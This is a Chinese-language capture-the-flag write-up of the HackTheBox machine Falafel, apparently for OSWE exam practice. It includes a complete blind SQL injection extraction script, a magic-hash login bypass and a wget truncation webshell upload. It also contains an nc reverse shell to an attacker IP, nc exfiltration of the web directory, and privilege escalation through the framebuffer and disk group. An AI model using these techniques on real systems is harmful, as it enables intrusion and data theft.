OSWE Falafel Write-up

本文最后更新于 2026年3月18日 下午

一、靶场详情

靶场名称:

Falafel

靶场地址:

https://app.hackthebox.com/machines/Falafel

靶场环境连接说明:

演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用。还需要注意连接 HackTheBox 平台 VPN 需要挂载代理,具体方式可参考之前的历史文章或留言。

二、思路总结

突破边界(获取用户旗帜):

  1. 登录界面存在 SQL 注入漏洞,可得到 web 用户密码 hash。
  2. 利用 PHP 弱类型匹配魔术哈希得到 web 管理员后台。
  3. wget 超长字符会截断输出,可实现任意文件上传,得到系统 www-data 用户权限。
  4. 数据库密码复用得到 moshe 用户权限。
  5. 在 moshe 用户家目录得到旗帜:user.txt。

权限提升(获取管理员旗帜):

  1. 根据 moshe 用户组权限发现额外的视频帧缓冲区,分析可得到 yossi 用户密码。
  2. yossi 用户属于 disk 组,该组有权限查看系统任意文件。
  3. 在 root 用户桌面得到旗帜:root.txt。

三、靶场攻击演示

3.1 靶场信息收集

注意: OSWE 考试过程中不需要对靶机进行服务信息收集,考试环境会直接提供相关信息。考试环境通常包含三台靶机:一台是最终需要获取 flag 的目标靶机,一台是与目标靶机环境完全相同的克隆靶机,用于漏洞分析和调试,最后一台是用于运行 PoC 的靶机,以避免因网络原因导致例如 SQL 盲注 等利用过程过慢,可以在第三台靶机上执行 PoC。

对于 HackTheBox 平台靶机我们依然需要执行 nmap 信息搜集。

TCP 端口扫描(端口和端口服务信息):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
sudo nmap -p- 10.129.229.139 --min-rate=2000
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

sudo nmap -p22,80 -sCV 10.129.229.139
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 36:c0:0a:26:43:f8:ce:a8:2c:0d:19:21:10:a6:a8:e7 (RSA)
| 256 cb:20:fd:ff:a8:80:f2:a2:4b:2b:bb:e1:76:98:d0:fb (ECDSA)
|_ 256 c4:79:2b:b6:a9:b7:17:4c:07:40:f3:e5:7c:1a:e9:dd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/*.txt
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Falafel Lovers
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

UDP 端口扫描(端口和端口服务信息):

1
2
# 扫描未发现可利用 UDP 端口
sudo nmap -p- -sU 10.129.229.139 --min-rate=2000

由此得出结论:

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 SQL 注入漏洞

访问靶机 HTTP 服务,页面存在简介和登录按钮。

目录遍历没有发现有价值信息,前端只有一个登录功能,尝试万能密码和弱口令均无法进入后台,传入不同的参数后端会返回不同的相应结果。

传入 test 用户名,系统会返回 Try again..

1
test/test

传入 admin 用户名,系统会返回 Wrong identification : admin

1
admin/admin

根据以上相应猜测可能存在用户名枚举,传入万能密码 admin' or 1=1# ,系统依然返回 Wrong identification : admin ,当继续传入 admin' and 1=2# ,系统却返回 Try again.. ,判断登录用户名大概率存在 bool 盲注。

将数据包保存至文本中,通过 sqlmap 执行注入。

1
2
# 注意需要使用 --string 指定为真的返回条件
sqlmap -r 1.txt --batch --level 3 --string="Wrong identification"

在 OSWE 考试过程中不能使用 sqlmap 自动化工具,而且最终需要提交一份一键 RCE 的漏洞利用脚本,通过该环境可以练习编写 bool 盲注脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
import requests
import sys


# 定义 SQL 注入请求函数
def req(url, data):
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
reqs = requests.post(url=url, headers=headers, data=data).text
if "Wrong identification : admin" in reqs:
return True
else:
return False


# 主函数
def main(url):
# 获取系统当前数据库信息
print("1、获取数据库长度:", end="")
databases_len = 0
# 获取系统数据库长度
for i in range(20):
payload = f"username=it' or length(database())={i}#&password=admin"
if req(url + "login.php", payload):
print(f"共{i}个字符")
databases_len = i
break
if not databases_len:
print("执行数据库长度获取失败!")
sys.exit(0)
# 获取数据库名
databases_name = ""
num = 0
print("2、获取数据库名:", end="")
for a in range(1, databases_len + 1):
# 为了减少尝试次数,先判断当前值是否大于 65 然后取中间值
payload = f"username=it' or ascii(substr(database(),{a},1))>65#&password=admin"
if req(url + "login.php", payload):
start = 64
end = 128
else:
start = 0
end = 65
for b in range(start, end):
payload = f"username=it' or ascii(substr(database(),{a},1))={b}#&password=admin"
if req(url + "login.php", payload):
databases_name += chr(b)
print(chr(b), end="", flush=True)
num += 1
if not num:
print("获取数据库名失败!")
sys.exit(0)
print(f"\n当前数据库名为:'{databases_name}'")
print("3、获取数据库表结构")
num = 0
dict_data = {}
while True:
table_len = 0
table_name = ""
print(f"获取第{num + 1}张表信息:", end="")
payload = f"username=it' or length((select table_name from information_schema.tables where table_schema='{databases_name}' limit {num},1))>0#&password=admin"
# 表长度大于 0 说明表存在,可继续获取表长度
if req(url + "login.php", payload):
for i in range(1, 21):
payload = f"username=it' or length((select table_name from information_schema.tables where table_schema='{databases_name}' limit {num},1))={i}#&password=admin"
if req(url + "login.php", payload):
table_len = i
print(f"表长度为{table_len},", end="")
break
# 获取表名称
print("表名为", end="")
for a in range(1, table_len + 1):
# 为了减少尝试次数,先判断当前值是否大于 65 然后取中间值
payload = f"username=it' or ascii(substr((select table_name from information_schema.tables where table_schema='{databases_name}' limit 0,1),{a},1))>65#&password=admin"
if req(url + "login.php", payload):
start = 64
end = 128
else:
start = 0
end = 65
for b in range(start, end):
payload = f"username=it' or ascii(substr((select table_name from information_schema.tables where table_schema='{databases_name}' limit 0,1),{a},1))={b}#&password=admin"
if req(url + "login.php", payload):
table_name += chr(b)
print(chr(b), end="", flush=True)
print(f"\n第{num + 1}张表名为:'{table_name}'")
dict_data[table_name] = {"cloumns": []}
# 获取表字段
num_tow = 0
while True:
cloumns_len = 0
cloumns_name = ""
print(f"获取{table_name}表的第{num_tow + 1}个字段:", end="")
payload = f"username=it' or length((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1))>0#&password=admin"
# 表字段长度大于 0 说明字段存在,可继续获取字段长度
if req(url + "login.php", payload):
for i in range(1, 21):
payload = f"username=it' or length((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1))={i}#&password=admin"
if req(url + "login.php", payload):
cloumns_len = i
print(f"字段长度为{cloumns_len},", end="")
break
# 获取表字段名称
print("字段名为", end="")
for a in range(1, cloumns_len + 1):
# 为了减少尝试次数,先判断当前值是否大于 65 然后取中间值
payload = f"username=it' or ascii(substr((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1),{a},1))>65#&password=admin"
if req(url + "login.php", payload):
start = 64
end = 128
else:
start = 0
end = 65
for b in range(start, end):
payload = f"username=it' or ascii(substr((select column_name from information_schema.columns where table_schema='{databases_name}' and table_name='{table_name}' limit {num_tow},1),{a},1))={b}#&password=admin"
if req(url + "login.php", payload):
cloumns_name += chr(b)
print(chr(b), end="", flush=True)
break
print(f"\n{table_name}表的第{num_tow + 1}字段为:'{cloumns_name}'")
dict_data[table_name]["cloumns"].append(cloumns_name)
else:
# 一旦存在表字段长度小于 0 说明不需要继续通过 limit 注入了
print("字段不存在,字段名称获取结束!")
break
num_tow += 1
else:
# 一旦存在表长度小于 0 说明不需要继续通过 limit 注入了
print("表不存在,表获取结束!")
break
num += 1
if not num:
print(f"{databases_name}没有任何表!")
sys.exit(0)

# 开始通过数据库、表、字段名称获取字段值
num_three = 1
print("4、通过数据库、表、字段名称获取值")
for tables in dict_data:
print(f"获取{tables}表信息:", end="")
table_cloumns_num = len(dict_data[tables]["cloumns"])
# 查看数据表行数
while True:
payload = f"username=it' or (select count(*) from {databases_name}.{tables})={num_three}#&password=admin"
if req(url + "login.php", payload):
table_rows_num = num_three
print(f"表共有{table_rows_num}行数据")
break
num_three += 1
# 循环遍历每一行内容
for a in range(table_rows_num):
dict_data[tables][f"第{a + 1}行"] = []
for b in range(table_cloumns_num):
# 本轮需要获取的字段名称
attack_cloumns = dict_data[tables]["cloumns"][b]
attack_cloumns_len = 0
result_data = ""
print(f"获取{tables}表第{a + 1}{attack_cloumns}值:", end="")
# 判断当前读取数据长度
payload = f"username=it' or length((select {attack_cloumns} from {databases_name}.{tables} limit {a},1))>0#&password=admin"
# 字段内容大于 0 说明存在内容,可继续获取信息
if req(url + "login.php", payload):
# 判断数据长度
for i in range(1, 100):
payload = f"username=it' or length((select {attack_cloumns} from {databases_name}.{tables} limit {a},1))={i}#&password=admin"
if req(url + "login.php", payload):
attack_cloumns_len = i
print(f"长度为{attack_cloumns_len},值为", end="")
break
# 为了减少尝试次数,先判断当前值是否大于 65 然后取中间值
for c in range(1, attack_cloumns_len + 1):
payload = f"username=it' or ascii(substr((select {attack_cloumns} from {databases_name}.{tables} limit {a},1),{c},1))>65#&password=admin"
if req(url + "login.php", payload):
start = 64
end = 128
else:
start = 0
end = 65
# 开始获取最终值
for d in range(start, end):
payload = f"username=it' or ascii(substr((select {attack_cloumns} from {databases_name}.{tables} limit {a},1),{c},1))={d}#&password=admin"
if req(url + "login.php", payload):
result_data += chr(d)
print(chr(d), end="", flush=True)
break
print(f"\n{tables}表第{a + 1}{attack_cloumns}值为:'{result_data}'")
dict_data[tables][f"第{a + 1}行"].append(result_data)
# 输出全部数据
print("---------------result---------------")
for result_table in dict_data:
for a in dict_data[result_table]:
for b in dict_data[result_table][a]:
print(b, end="\t")
print()


if __name__ == "__main__":
target = "http://10.129.229.139/"
main(target)

由此可以获取到 admin 和 chris 用户 hash,遗憾的是 admin 用户 hash 无法破解。

使用 chris 用户登录 web 后台,没有太多有价值信息。

3.2.2 PHP 魔术 Hashs 登录 Web 后台

在 PHP 语言中存在弱类型匹配, == 属于弱类型判断, === 属于强类型判断,在弱类型匹配中存在某些恒成立情况,可查看 PHP 官方文档。

1
https://www.php.net/manual/en/types.comparisons.php

还存在一种魔术 hash(Magic Hashes),简单的理解:在 PHP 弱类型匹配中,当两个对比的 hash 均以 0e 开头,那么两个值的对比恒为真。

1
"0e123456" == "0e654321"   // true

随意找到一个以 0e 开头的 hash 尝试登录,可成功登录 web 后台。

1
https://gist.github.com/atoponce/bb672d93233121560d2841f67e41698b

1
admin/240610708

3.2.3 Wget 文件名截断实现任意文件上传

web 后台 upload 页面可通过 wget 下载文件至本地,测试无法通过命令注入获取系统权限,大概率做了严格的限制,仅允许输入 URL + 图片。

当输入超长的下载文件名时,wget 会提示文件名太长,并做了截断。

wget 无法保存太长的文件名,超出的文件名会截断,这样以来,可以上传超长的 .php.png 文件,使得程序刚好将 .png 截断,这样就可将 php 文件上传至服务器。

1
2
# 注意:在 kali 提前创建好文件
url=http://10.10.16.221/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php.png

返回页面会给出文件的具体位置,访问上传的一句话木马可执行反弹 shell。

1
http://10.129.229.139/uploads/0318-0511_89d0d2fc95ad57f5/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.php?cmd=id

获取交互式 shell。

1
2
3
4
5
6
7
8
9
10
11
12
# webshell
?cmd=busybox nc 10.10.16.221 4444 -e /bin/bash

# kali
nc -lvnp 4444
bash
python -c 'import pty;pty.spawn("/bin/bash")'
Control + z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

在 web 目录的配置文件中可获取 moshe 用户密码。

3.2.4 源码分析

注意: OSWE 考试中不允许将代码下载至本地,考试中需要在调试主机分析代码。

使用 nc 将代码下载至 kali。

1
2
3
4
5
6
7
# kali
nc -lvnp 4444 > 1.tar.gz

# 以 www-data 权限
tar -zcvf 1.tar.gz /var/www
cat 1.tar.gz | nc 10.10.16.221 4444
# 注意:kali 点击文件可以正常解压证明传输完成

SQL 注入漏洞:

1
2
/var/www/html/login.php
/var/www/html/login_logic.php

login.php

login_logic.php

login_logic.php

漏洞分析: 在登录接口中,代码仅对 username 做了简单过滤,然后直接传入数据库执行语句,且在密码哈希比对的过程使用了弱类型匹配,导致任意以 oe 开头的 md5 均可登录系统后台。

upload 界面使用了严格的 URL 格式过滤,由于 wget 可接受的字符长度有限,多余的字符会被丢弃,导致任意文件上传漏洞。

3.2.5 用户旗帜获取

3.3 提权获取系统最高权限

3.3.1 屏幕截图泄漏用户密码

登录 moshe 用户后,排查常规的提权思路发现无法提升至管理员,但 moshe 用户存在多个组权限,可通过 find 查看每个组拥有的文件信息,其中 video 组可查看 /dev/fb0 文件,该文件记录屏幕当前显示内容的原始内存映射,换句话说,它可能记录一些屏幕截图。

将文件保存下载至 kali。

1
2
cat /dev/fb0 > fbo
scp moshe@10.129.229.139:~/fb0 ./

使用 gimp 工具将其打开,文件类型需要选择 raw 图像数据。

1
sudo apt install gimp -y

调整 RGB 565 可以显示出大致轮廓,此时需要指定图像的分辨率。

1
cat /sys/class/graphics/fb0/virtual_size

调整好文件分辨率,在图片中可得到 yossi 用户密码。

3.3.2 Disk 组权限滥用

切换至 yossi 用户,发现其属于 disk 组,在 Linux 中该组有权限查看系统任意文件。

1
su yossi

1
https://hacktricks.wiki/zh/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html?highlight=group#%E7%A3%81%E7%9B%98%E7%BB%84

1
2
df -h
debugfs /dev/sda1

查看 root 用户私钥文件。

1
cat /ssh/.ssh/id_rsa

将私钥保存至 kali,ssh 连接得到系统 root 用户权限。

1
2
chmod 400 id_rsa
ssh -i id_rsa root@10.129.229.139

3.3.3 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨